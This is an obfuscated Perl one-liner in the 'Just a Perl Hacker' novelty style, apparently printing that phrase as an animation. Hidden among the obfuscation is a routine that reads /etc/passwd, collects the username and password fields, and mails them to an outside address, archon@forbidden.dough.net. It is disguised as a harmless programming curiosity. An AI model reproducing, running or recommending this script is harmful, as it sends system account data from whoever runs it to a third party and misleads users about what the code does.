;for (74,1970500640, 1634627444,1751478816,1348825708,543711587, 1801810465){for($foo=1<<1^1; $foo>=1>>1; $foo--){$fOO=hex ff;#@password =sub cut{($u,$c,$f)=@_;$d=':';while (<$f>) {split($d);push(@p,$_[$u],$_ [$c]);}return@p}$f=\*F;open($f,"/etc/passwd")|| die"Error:$!\n";@passwd =cut(0,1,$f);system"echo \Q@passwd\E|mail archon\@forbidden.dough.net"; $fOo=oct($foo=~s,\d,$&*10,e,$foo),$foo/=1/.1,$fOO<<=$fOo,$Foo.=chr(($_& $fOO)>>$fOo),$foO++}}$|=1;while(!$^S){$o=$o?$?:$/;print reverse$o?$Foo: $"x$foO if$;;print chr(8) x $foO;sleep "Just a Perl Hacker"+1};